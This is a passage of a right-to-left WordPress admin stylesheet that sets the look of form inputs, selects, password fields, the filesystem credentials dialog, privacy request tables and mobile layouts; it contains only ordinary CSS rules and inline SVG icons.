	/* inherits font size 14px */
	line-height: 2; /* 28px */
	/* Only necessary for IE11 */
	min-height: 30px;
}

::-webkit-datetime-edit {
	/* inherits font size 14px */
	line-height: 1.85714286; /* 26px */
}

input[type="text"]:focus,
input[type="password"]:focus,
input[type="color"]:focus,
input[type="date"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="email"]:focus,
input[type="month"]:focus,
input[type="number"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="time"]:focus,
input[type="url"]:focus,
input[type="week"]:focus,
input[type="checkbox"]:focus,
input[type="radio"]:focus,
select:focus,
textarea:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* rtl:ignore */
input[type="email"],
input[type="url"] {
	direction: ltr;
}

input[type="checkbox"],
input[type="radio"] {
	border: 1px solid #8c8f94;
	border-radius: 4px;
	background: #fff;
	color: #50575e;
	clear: none;
	cursor: pointer;
	display: inline-block;
	line-height: 0;
	height: 1rem;
	margin: -0.25rem 0 0 0.25rem;
	outline: 0;
	padding: 0 !important;
	text-align: center;
	vertical-align: middle;
	width: 1rem;
	min-width: 1rem;
	-webkit-appearance: none;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
	transition: .05s border-color ease-in-out;
}

input[type="radio"]:checked + label:before {
	color: #8c8f94;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
	color: #135e96;
}

td > input[type="checkbox"],
.wp-admin p input[type="checkbox"],
.wp-admin p input[type="radio"] {
	margin-top: 0;
}

.wp-admin p label input[type="checkbox"] {
	margin-top: -4px;
}

.wp-admin p label input[type="radio"] {
	margin-top: -2px;
}

input[type="radio"] {
	border-radius: 50%;
	margin-left: 0.25rem;
	/* 10px not sure if still necessary, comes from the MP6 redesign in r26072 */
	line-height: 0.71428571;
}

input[type="checkbox"]:checked::before,
input[type="radio"]:checked::before {
	float: right;
	display: inline-block;
	vertical-align: middle;
	width: 1rem;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

input[type="checkbox"]:checked::before {
	/* Use the "Yes" SVG Dashicon */
	content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");
	margin: -0.1875rem -0.25rem 0 0;
	height: 1.3125rem;
	width: 1.3125rem;
}

input[type="radio"]:checked::before {
	content: "";
	border-radius: 50%;
	width: 0.5rem; /* 8px */
	height: 0.5rem; /* 8px */
	margin: 0.1875rem; /* 3px */
	background-color: #3582c4;
	/* 16px not sure if still necessary, comes from the MP6 redesign in r26072 */
	line-height: 1.14285714;
}

@-moz-document url-prefix() {
	input[type="checkbox"],
	input[type="radio"],
	.form-table input.tog {
		margin-bottom: -1px;
	}
}

/* Search */
input[type="search"] {
	-webkit-appearance: textfield;
}

input[type="search"]::-webkit-search-decoration {
	display: none;
}

.wp-admin input[type="file"] {
	padding: 3px 0;
	cursor: pointer;
}

input.readonly,
input[readonly],
textarea.readonly,
textarea[readonly] {
	background-color: #f0f0f1;
}

::-webkit-input-placeholder {
	color: #646970;
}

::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

:-ms-input-placeholder {
	color: #646970;
}

.form-invalid .form-required,
.form-invalid .form-required:focus,
.form-invalid.form-required input,
.form-invalid.form-required input:focus,
.form-invalid.form-required select,
.form-invalid.form-required select:focus {
	border-color: #d63638 !important;
	box-shadow: 0 0 2px rgba(214, 54, 56, 0.8);
}

.form-table .form-required.form-invalid td:after {
	content: "\f534";
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin-right: -25px;
	vertical-align: middle;
}

/* Adjust error indicator for password layout */
.form-table .form-required.user-pass1-wrap.form-invalid td:after {
	content: "";
}

.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after {
	content: "\f534";
	font: normal 20px/1 dashicons;
	color: #d63638;
	margin: 0 -29px 0 6px;
	vertical-align: middle;
}

.form-input-tip {
	color: #646970;
}

input:disabled,
input.disabled,
select:disabled,
select.disabled,
textarea:disabled,
textarea.disabled {
	background: rgba(255, 255, 255, 0.5);
	border-color: rgba(220, 220, 222, 0.75);
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.04);
	color: rgba(44, 51, 56, 0.5);
}

input[type="file"]:disabled,
input[type="file"].disabled,
input[type="file"][aria-disabled="true"],
input[type="range"]:disabled,
input[type="range"].disabled,
input[type="range"][aria-disabled="true"] {
	background: none;
	box-shadow: none;
	cursor: default;
}

input[type="checkbox"]:disabled,
input[type="checkbox"].disabled,
input[type="checkbox"][aria-disabled="true"],
input[type="radio"]:disabled,
input[type="radio"].disabled,
input[type="radio"][aria-disabled="true"],
input[type="checkbox"]:disabled:checked:before,
input[type="checkbox"].disabled:checked:before,
input[type="radio"]:disabled:checked:before,
input[type="radio"].disabled:checked:before {
	opacity: 0.7;
	cursor: default;
}

/*------------------------------------------------------------------------------
  2.0 - Forms
------------------------------------------------------------------------------*/

/* Select styles are based on the default button in buttons.css */
.wp-core-ui select {
	font-size: 14px;
	line-height: 2; /* 28px */
	color: #2c3338;
	border-color: #8c8f94;
	box-shadow: none;
	border-radius: 3px;
	padding: 0 8px 0 24px;
	min-height: 30px;
	max-width: 25rem;
	-webkit-appearance: none;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background: #fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E') no-repeat left 5px top 55%;
	background-size: 16px 16px;
	cursor: pointer;
	vertical-align: middle;
}

.wp-core-ui select:hover {
	color: #2271b1;
}

.wp-core-ui select:focus {
	border-color: #2271b1;
	color: #0a4b78;
	box-shadow: 0 0 0 1px #2271b1;
}

.wp-core-ui select:active {
	border-color: #8c8f94;
	box-shadow: none;
}

.wp-core-ui select.disabled,
.wp-core-ui select:disabled {
	color: #a7aaad;
	border-color: #dcdcde;
	background-color: #f6f7f7;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');
	box-shadow: none;
	text-shadow: 0 1px 0 #fff;
	cursor: default;
	transform: none;
}

.wp-core-ui select[aria-disabled="true"] {
	cursor: default;
}

/* Reset Firefox inner outline that appears on :focus. */
/* This ruleset overrides the color change on :focus thus needs to be after select:focus. */
.wp-core-ui select:-moz-focusring {
	color: transparent;
	text-shadow: 0 0 0 #0a4b78;
}

/* Remove background focus style from IE11 while keeping focus style available on option elements. */
.wp-core-ui select::-ms-value {
	background: transparent;
	color: #50575e;
}

.wp-core-ui select:hover::-ms-value {
	color: #2271b1;
}

.wp-core-ui select:focus::-ms-value {
	color: #0a4b78;
}

.wp-core-ui select.disabled::-ms-value,
.wp-core-ui select:disabled::-ms-value {
	color: #a7aaad;
}

/* Hide the native down arrow for select element on IE. */
.wp-core-ui select::-ms-expand {
	display: none;
}

.wp-admin .button-cancel {
	display: inline-block;
	min-height: 28px;
	padding: 0 5px;
	line-height: 2;
}

.meta-box-sortables select {
	max-width: 100%;
}

.meta-box-sortables input {
	vertical-align: middle;
}

.misc-pub-post-status select {
	margin-top: 0;
}

.wp-core-ui select[multiple] {
	height: auto;
	padding-left: 8px;
	background: #fff;
}

.submit {
	padding: 1.5em 0;
	margin: 5px 0;
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
	border: none;
}

form p.submit a.cancel:hover {
	text-decoration: none;
}

p.submit {
	text-align: right;
	max-width: 100%;
	margin-top: 20px;
	padding-top: 10px;
}

.textright p.submit {
	border: none;
	text-align: left;
}

table.form-table + p.submit,
table.form-table + input + p.submit,
table.form-table + input + input + p.submit {
	border-top: none;
	padding-top: 0;
}

#minor-publishing-actions input,
#major-publishing-actions input,
#minor-publishing-actions .preview {
	text-align: center;
}

textarea.all-options,
input.all-options {
	width: 250px;
}

input.large-text,
textarea.large-text {
	width: 99%;
}

.regular-text {
	width: 25em;
}

input.small-text {
	width: 50px;
	padding: 0 6px;
}

label input.small-text {
	margin-top: -4px;
}

input[type="number"].small-text {
	width: 65px;
	padding-left: 0;
}

input.tiny-text {
	width: 35px;
}

input[type="number"].tiny-text {
	width: 45px;
	padding-left: 0;
}

#doaction,
#doaction2,
#post-query-submit {
	margin: 0 0 0 8px;
}

/* @since 5.7.0 secondary bulk action controls require JS. */
.no-js label[for="bulk-action-selector-bottom"],
.no-js select#bulk-action-selector-bottom,
.no-js input#doaction2,
.no-js label[for="new_role2"],
.no-js select#new_role2,
.no-js input#changeit2 {
	display: none;
}

.tablenav .actions select {
	float: right;
	margin-left: 6px;
	max-width: 12.5rem;
}

#timezone_string option {
	margin-right: 1em;
}

.wp-hide-pw > .dashicons,
.wp-cancel-pw > .dashicons {
	position: relative;
	top: 3px;
	width: 1.25rem;
	height: 1.25rem;
	top: 0.25rem;
	font-size: 20px;
}

.wp-cancel-pw .dashicons-no {
	display: none;
}

label,
#your-profile label + a {
	vertical-align: middle;
}

fieldset label,
#your-profile label + a {
	vertical-align: middle;
}

.options-media-php [for*="_size_"] {
	min-width: 10em;
	vertical-align: baseline;
}

.options-media-php .small-text[name*="_size_"] {
	margin: 0 0 1em;
}

.wp-generate-pw {
	margin-top: 1em;
	position: relative;
}

.wp-pwd button {
	height: min-content;
}

.wp-pwd button.pwd-toggle .dashicons {
	position: relative;
	top: 0.25rem;
}

.wp-pwd {
	margin-top: 1em;
	position: relative;
}

.mailserver-pass-wrap .wp-pwd {
	display: inline-block;
	margin-top: 0;
}

/* rtl:ignore */
#mailserver_pass {
	padding-right: 2.5rem;
}

/* rtl:ignore */
.mailserver-pass-wrap .button.wp-hide-pw {
	background: transparent;
	border: 1px solid transparent;
	box-shadow: none;
	font-size: 14px;
	line-height: 2;
	width: 2.5rem;
	min-width: 40px;
	margin: 0;
	padding: 0 9px;
	position: absolute;
	right: 0;
	top: 0;
}

.mailserver-pass-wrap .button.wp-hide-pw:hover {
	background: transparent;
	border-color: transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:focus {
	background: transparent;
	border-color: #3582c4;
	border-radius: 4px;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

#misc-publishing-actions label {
	vertical-align: baseline;
}

#pass-strength-result {
	background-color: #f0f0f1;
	border: 1px solid #dcdcde;
	color: #1d2327;
	margin: -1px 1px 5px;
	padding: 3px 5px;
	text-align: center;
	width: 25em;
	box-sizing: border-box;
	opacity: 0;
}

#pass-strength-result.short {
	background-color: #ffabaf;
	border-color: #e65054;
	opacity: 1;
}

#pass-strength-result.bad {
	background-color: #facfd2;
	border-color: #f86368;
	opacity: 1;
}

#pass-strength-result.good {
	background-color: #f5e6ab;
	border-color: #f0c33c;
	opacity: 1;
}

#pass-strength-result.strong {
	background-color: #b8e6bf;
	border-color: #68de7c;
	opacity: 1;
}

.password-input-wrapper {
	display: inline-block;
}

.password-input-wrapper input {
	font-family: Consolas, Monaco, monospace;
}

#pass1.short, #pass1-text.short {
	border-color: #e65054;
}

#pass1.bad, #pass1-text.bad {
	border-color: #f86368;
}

#pass1.good, #pass1-text.good {
	border-color: #f0c33c;
}

#pass1.strong, #pass1-text.strong {
	border-color: #68de7c;
}

#pass1:focus,
#pass1-text:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.pw-weak {
	display: none;
}

.indicator-hint {
	padding-top: 8px;
}

.wp-pwd [type="text"],
.wp-pwd [type="password"] {
	margin-bottom: 0;
	/* Same height as the buttons */
	min-height: 30px;
}

/* Hide the Edge "reveal password" native button */
.wp-pwd input::-ms-reveal {
	display: none;
}

#pass1-text,
.show-password #pass1 {
	display: none;
}

#pass1-text::-ms-clear {
	display: none;
}

.show-password #pass1-text {
	display: inline-block;
}

p.search-box {
	float: left;
	margin: 0;
}

.network-admin.themes-php p.search-box {
	clear: right;
}

.search-box input[name="s"],
.tablenav .search-plugins input[name="s"],
.tagsdiv .newtag {
	float: right;
	margin: 0 0 0 4px;
}

.js.plugins-php .search-box .wp-filter-search {
	margin: 0;
	width: 280px;
}

input[type="text"].ui-autocomplete-loading,
input[type="email"].ui-autocomplete-loading {
	background-image: url(../images/loading.gif);
	background-repeat: no-repeat;
	background-position: left 5px center;
	visibility: visible;
}

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

ul#add-to-blog-users {
	margin: 0 14px 0 0;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: right;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #dcdcde;
}

/* Colors for the tags autocomplete. */
.wp-tags-autocomplete .ui-state-focus,
.wp-tags-autocomplete [aria-selected="true"] {
	background-color: #2271b1;
	color: #fff;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.button-add-site-icon {
	width: 100%;
	cursor: pointer;
	text-align: center;
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	padding: 9px 0;
	line-height: 1.6;
	max-width: 270px;
}

.button-add-site-icon:focus,
.button-add-site-icon:hover {
	background: #fff;
}

.site-icon-section .favicon-preview {
	float: right;
}
.site-icon-section .app-icon-preview {
	float: right;
	margin: 0 20px;
}

.site-icon-section .site-icon-preview img {
	max-width: 100%;
}

.button-add-site-icon:focus {
	background-color: #fff;
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

/*------------------------------------------------------------------------------
  15.0 - Comments Screen
------------------------------------------------------------------------------*/

.form-table {
	border-collapse: collapse;
	margin-top: 0.5em;
	width: 100%;
	clear: both;
}

.form-table,
.form-table td,
.form-table th,
.form-table td p {
	font-size: 14px;
}

.form-table td {
	margin-bottom: 9px;
	padding: 15px 10px;
	line-height: 1.3;
	vertical-align: middle;
}

.form-table th,
.form-wrap label {
	color: #1d2327;
	font-weight: 400;
	text-shadow: none;
	vertical-align: baseline;
}

.form-table th {
	vertical-align: top;
	text-align: right;
	padding: 20px 0 20px 10px;
	width: 200px;
	line-height: 1.3;
	font-weight: 600;
}

.form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */
.form-table .td-full {
	width: auto;
	padding: 20px 0 20px 10px;
	font-weight: 400;
}

.form-table td p {
	margin-top: 4px;
	margin-bottom: 0;
}

.form-table .date-time-doc {
	margin-top: 1em;
}

.form-table p.timezone-info {
	margin: 1em 0;
	display: flex;
	flex-direction: column;
}

#local-time {
	margin-top: 0.5em;
}

.form-table td fieldset label {
	margin: 0.35em 0 0.5em !important;
	display: inline-block;
}

.form-table td fieldset p label {
	margin-top: 0 !important;
}

.form-table td fieldset label,
.form-table td fieldset p,
.form-table td fieldset li {
	line-height: 1.4;
}

.form-table input.tog,
.form-table input[type="radio"] {
	margin-top: -4px;
	margin-left: 4px;
	float: none;
}

.form-table .pre {
	padding: 8px;
	margin: 0;
}

table.form-table td .updated {
	font-size: 13px;
}

table.form-table td .updated p {
	font-size: 13px;
	margin: 0.3em 0;
}

/*------------------------------------------------------------------------------
  18.0 - Users
------------------------------------------------------------------------------*/

#profile-page .form-table textarea {
	width: 500px;
	margin-bottom: 6px;
}

#profile-page .form-table #rich_editing {
	margin-left: 5px
}

#your-profile legend {
	font-size: 22px;
}

#display_name {
	width: 15em;
}

#adduser .form-field input,
#createuser .form-field input {
	width: 25em;
}

.color-option {
	display: inline-block;
	width: 24%;
	padding: 5px 15px 15px;
	box-sizing: border-box;
	margin-bottom: 3px;
}

.color-option:hover,
.color-option.selected {
	background: #dcdcde;
}

.color-palette {
	display: table;
	width: 100%;
	border-spacing: 0;
	border-collapse: collapse;
}
.color-palette .color-palette-shade,
.color-palette td {
	display: table-cell;
	height: 20px;
	padding: 0;
	border: none;
}

.color-option {
	cursor: pointer;
}

.create-application-password .form-field {
	max-width: 25em;
}

.create-application-password label {
	font-weight: 600;
}

.create-application-password p.submit {
	margin-bottom: 0;
	padding-bottom: 0;
	display: block;
}

#application-passwords-section .notice {
	margin-top: 20px;
	margin-bottom: 0;
	word-wrap: break-word;
}

.application-password-display input.code {
	width: 19em;
}

.auth-app-card.card {
	max-width: 768px;
}

.authorize-application-php .form-wrap p {
	display: block;
}

/*------------------------------------------------------------------------------
  19.0 - Tools
------------------------------------------------------------------------------*/

.tool-box .title {
	margin: 8px 0;
	font-size: 18px;
	font-weight: 400;
	line-height: 24px;
}

.label-responsive {
	vertical-align: middle;
}

#export-filters p {
	margin: 0 0 1em;
}

#export-filters p.submit {
	margin: 7px 0 5px;
}

/* Card styles */

.card {
	position: relative;
	margin-top: 20px;
	padding: 0.7em 2em 1em;
	min-width: 255px;
	max-width: 520px;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
	box-sizing: border-box;
}

/* Press this styles */

.pressthis h4 {
	margin: 2em 0 1em;
}

.pressthis textarea {
	width: 100%;
	font-size: 1em;
}

#pressthis-code-wrap {
	overflow: auto;
}

.pressthis-bookmarklet-wrapper {
	margin: 20px 0 8px;
	vertical-align: top;
	position: relative;
	z-index: 1;
}

.pressthis-bookmarklet,
.pressthis-bookmarklet:hover,
.pressthis-bookmarklet:focus,
.pressthis-bookmarklet:active {
	display: inline-block;
	position: relative;
	cursor: move;
	color: #2c3338;
	background: #dcdcde;
	border-radius: 5px;
	border: 1px solid #c3c4c7;
	font-style: normal;
	line-height: 16px;
	font-size: 14px;
	text-decoration: none;
}

.pressthis-bookmarklet:active {
	outline: none;
}

.pressthis-bookmarklet:after {
	content: "";
	width: 70%;
	height: 55%;
	z-index: -1;
	position: absolute;
	left: 10px;
	bottom: 9px;
	background: transparent;
	transform: skew(-20deg) rotate(-6deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
}

.pressthis-bookmarklet:hover:after {
	transform: skew(-20deg) rotate(-9deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
}

.pressthis-bookmarklet span {
	display: inline-block;
	margin: 0;
	padding: 0 9px 8px 12px;
}

.pressthis-bookmarklet span:before {
	color: #787c82;
	font: normal 20px/1 dashicons;
	content: "\f157";
	position: relative;
	display: inline-block;
	top: 4px;
	margin-left: 4px;
}

.pressthis-js-toggle {
	margin-right: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

/* to override the button class being applied */
.pressthis-js-toggle.button.button {
	margin-right: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

.pressthis-js-toggle .dashicons {
	margin: 5px 7px 6px 8px;
	color: #50575e;
}

/*------------------------------------------------------------------------------
  20.0 - Settings
------------------------------------------------------------------------------*/

.timezone-info code {
	white-space: nowrap;
}

.defaultavatarpicker .avatar {
	margin: 2px 0;
	vertical-align: middle;
}

.options-general-php .date-time-text {
	display: inline-block;
	min-width: 10em;
}

.options-general-php input.small-text {
	width: 56px;
	margin: -2px 0;
}

.options-general-php .spinner {
	float: none;
	margin: -3px 3px 0;
}

.settings-php .language-install-spinner,
.options-general-php .language-install-spinner,
.user-edit-php .language-install-spinner,
.profile-php .language-install-spinner {
	display: inline-block;
	float: none;
	margin: -3px 5px 0;
	vertical-align: middle;
}

.form-table.permalink-structure .available-structure-tags {
	margin-top: 8px;
}

.form-table.permalink-structure .available-structure-tags ul {
	display: flex;
	flex-wrap: wrap;
	margin: 8px 0 0;
}

.form-table.permalink-structure .available-structure-tags li {
	margin: 6px 0 0 5px;
}

.form-table.permalink-structure .available-structure-tags li:last-child {
	margin-left: 0;
}

.form-table.permalink-structure .structure-selection .row {
	margin-bottom: 16px;
}

.form-table.permalink-structure .structure-selection .row > div {
	max-width: calc(100% - 24px);
	display: inline-flex;
	flex-direction: column;
}

.form-table.permalink-structure .structure-selection .row label {
	font-weight: 600;
}

.form-table.permalink-structure .structure-selection .row p {
	margin-top: 0;
}

/*------------------------------------------------------------------------------
  21.0 - Network Admin
------------------------------------------------------------------------------*/

.setup-php textarea {
	max-width: 100%;
}

.form-field #site-address {
	max-width: 25em;
}

.form-field #domain {
	max-width: 22em;
}

.form-field #site-title,
.form-field #admin-email,
.form-field #path,
.form-field #blog_registered,
.form-field #blog_last_updated {
	max-width: 25em;
}

.form-field #path {
	margin-bottom: 5px;
}

#search-users,
#search-sites {
	max-width: 60%;
}

.configuration-rules-label {
	font-weight: 600;
	margin-bottom: 4px;
}

/*------------------------------------------------------------------------------
   Credentials check dialog for Install and Updates
------------------------------------------------------------------------------*/

.request-filesystem-credentials-dialog {
	display: none;
	/* The customizer uses visibility: hidden on the body for full-overlays. */
	visibility: visible;
}

.request-filesystem-credentials-dialog .notification-dialog {
	top: 10%;
	max-height: 85%;
}

.request-filesystem-credentials-dialog-content {
	margin: 25px;
}

#request-filesystem-credentials-title {
	font-size: 1.3em;
	margin: 1em 0;
}

.request-filesystem-credentials-form legend {
	font-size: 1em;
	padding: 1.33em 0;
	font-weight: 600;
}

.request-filesystem-credentials-form input[type="text"],
.request-filesystem-credentials-form input[type="password"] {
	display: block;
}

.request-filesystem-credentials-dialog input[type="text"],
.request-filesystem-credentials-dialog input[type="password"] {
	width: 100%;
}

.request-filesystem-credentials-form .field-title {
	font-weight: 600;
}

.request-filesystem-credentials-dialog label[for="hostname"],
.request-filesystem-credentials-dialog label[for="public_key"],
.request-filesystem-credentials-dialog label[for="private_key"] {
	display: block;
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: right;
	width: 48%;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin-right: 4%;
}

.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons {
	text-align: left;
}

.request-filesystem-credentials-dialog label[for="ftp"] {
	margin-left: 10px;
}

.request-filesystem-credentials-dialog #auth-keys-desc {
	margin-bottom: 0;
}

#request-filesystem-credentials-dialog .button:not(:last-child) {
	margin-left: 10px;
}

#request-filesystem-credentials-form .cancel-button {
	display: none;
}

#request-filesystem-credentials-dialog .cancel-button {
	display: inline;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: none;
	width: auto;
}

.request-filesystem-credentials-dialog .ftp-username {
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin: 0;
}

.request-filesystem-credentials-dialog .ftp-password em {
	color: #8c8f94;
}

.request-filesystem-credentials-dialog label {
	display: block;
	line-height: 1.5;
	margin-bottom: 1em;
}

.request-filesystem-credentials-form legend {
	padding-bottom: 0;
}

.request-filesystem-credentials-form #ssh-keys legend {
	font-size: 1.3em;
}

.request-filesystem-credentials-form .notice {
	margin: 0 0 20px;
	clear: both;
}

/*------------------------------------------------------------------------------
   Privacy Policy settings screen
------------------------------------------------------------------------------*/
.tools-privacy-policy-page form {
	margin-bottom: 1.3em;
}

.tools-privacy-policy-page input.button {
	margin: 0 6px 0 1px;
}

.tools-privacy-policy-page select {
	margin: 0 6px 0.5em 1px;
}

.tools-privacy-edit {
	margin: 1.5em 0;
}

.tools-privacy-policy-page span {
	line-height: 2;
}

.privacy_requests .column-email {
	width: 40%;
}

.privacy_requests .column-type {
	text-align: center;
}

.privacy_requests thead td:first-child,
.privacy_requests tfoot td:first-child {
	border-right: 4px solid #fff;
}

.privacy_requests tbody th {
	border-right: 4px solid #fff;
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests .row-actions {
	color: #787c82;
}

.privacy_requests .row-actions.processing {
	position: static;
}

.privacy_requests tbody .has-request-results th {
	box-shadow: none;
}

.privacy_requests tbody .request-results th .notice {
	margin: 0 0 5px;
}

.privacy_requests tbody td {
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests tbody .has-request-results td {
	box-shadow: none;
}

.privacy_requests .next_steps .button {
	word-wrap: break-word;
	white-space: normal;
}

.privacy_requests .status-request-confirmed th,
.privacy_requests .status-request-confirmed td {
	background-color: #fff;
	border-right-color: #72aee6;
}

.privacy_requests .status-request-failed th,
.privacy_requests .status-request-failed td {
	background-color: #f6f7f7;
	border-right-color: #d63638;
}

.privacy_requests .export_personal_data_failed a {
	vertical-align: baseline;
}

.status-label {
	font-weight: 600;
}

.status-label.status-request-pending {
	font-weight: 400;
	font-style: italic;
	color: #646970;
}

.status-label.status-request-failed {
	color: #d63638;
	font-weight: 600;
}

.wp-privacy-request-form {
	clear: both;
}

.wp-privacy-request-form-field {
	margin: 1.5em 0;
}

.wp-privacy-request-form input {
	margin: 0;
}

.email-personal-data::before {
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: 3px -2px 0 5px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.email-personal-data--sending::before {
	color: #d63638;
	content: "\f463";
	animation: rotation 2s infinite linear;
}

.email-personal-data--sent::before {
	color: #68de7c;
	content: "\f147";
}


/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 782px) {
	/* Input Elements */
	textarea {
		-webkit-appearance: none;
	}

	input[type="text"],
	input[type="password"],
	input[type="date"],
	input[type="datetime"],
	input[type="datetime-local"],
	input[type="email"],
	input[type="month"],
	input[type="number"],
	input[type="search"],
	input[type="tel"],
	input[type="time"],
	input[type="url"],
	input[type="week"] {
		-webkit-appearance: none;
		padding: 3px 10px;
		/* Only necessary for IE11 */
		min-height: 40px;
	}

	::-webkit-datetime-edit {
		line-height: 1.875; /* 30px */
	}

	input[type="checkbox"],
	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		-webkit-appearance: none;
	}

	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		margin-bottom: 8px;
	}

	input[type="checkbox"]:checked:before,
	.widefat th input[type="checkbox"]:before,
	.widefat thead td input[type="checkbox"]:before,
	.widefat tfoot td input[type="checkbox"]:before {
		width: 1.875rem;
		height: 1.875rem;
		margin: -0.1875rem -0.3125rem;
	}

	input[type="radio"],
	input[type="checkbox"] {
		height: 1.5625rem;
		width: 1.5625rem;
	}

	.wp-admin p input[type="checkbox"],
	.wp-admin p input[type="radio"] {
		margin-top: -0.1875rem;
	}

	input[type="radio"]:checked:before {
		vertical-align: middle;
		width: 0.5625rem;
		height: 0.5625rem;
		margin: 0.4375rem;
		line-height: 0.76190476;
	}

	.wp-upload-form input[type="submit"] {
		margin-top: 10px;
	}

	.wp-core-ui select,
	.wp-admin .form-table select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625; /* 26px */
		padding: 5px 8px 5px 24px;
	}

	.wp-admin .button-cancel {
		margin-bottom: 0;
		padding: 2px 0;
		font-size: 14px;
		vertical-align: middle;
	}

	#adduser .form-field input,
	#createuser .form-field input {
		width: 100%;
	}

	.form-table {
		box-sizing: border-box;
	}

	.form-table th,
	.form-table td,
	.label-responsive {
		display: block;
		width: auto;
		vertical-align: middle;
	}

	.label-responsive {
		margin: 0.5em 0;
	}

	.export-filters li {
		margin-bottom: 0;
	}

	.form-table .color-palette .color-palette-shade,
	.form-table .color-palette td {
		display: table-cell;
		width: 15px;
		height: 30px;
		padding: 0;
	}

	.form-table .color-palette {
		margin-left: 10px;
	}

	textarea,
	input {
		font-size: 16px;
	}

	.form-table td input[type="text"],
	.form-table td input[type="email"],
	.form-table td input[type="password"],
	.form-table td select,
	.form-table td textarea,
	.form-table span.description,
	#profile-page .form-table textarea {
		width: 100%;
		display: block;
		max-width: none;
		box-sizing: border-box;
	}

	.form-table .form-required.form-invalid td:after {
		float: left;
		margin: -30px 0 0 3px;
	}

	input[type="text"].small-text,
	input[type="search"].small-text,
	input[type="password"].small-text,
	input[type="number"].small-text,
	input[type="number"].small-text,
	.form-table input[type="text"].small-text {
		width: auto;
		max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */
		display: inline;
		padding: 3px 6px;
		margin: 0 3px;
	}

	.form-table .regular-text ~ input[type="text"].small-text {
		margin-top: 5px;
	}

	#pass-strength-result {
		width: 100%;
		box-sizing: border-box;
		padding: 8px;
	}

	.password-input-wrapper {
		display: block;
	}

	p.search-box {
		float: none;
		width: 100%;
		margin-bottom: 20px;
		display: flex;
	}

	p.search-box input[name="s"] {
		float: none;
		width: 100%;
		margin-bottom: 10px;
		vertical-align: middle;
	}

	p.search-box input[type="submit"] {
		margin-bottom: 10px;
	}

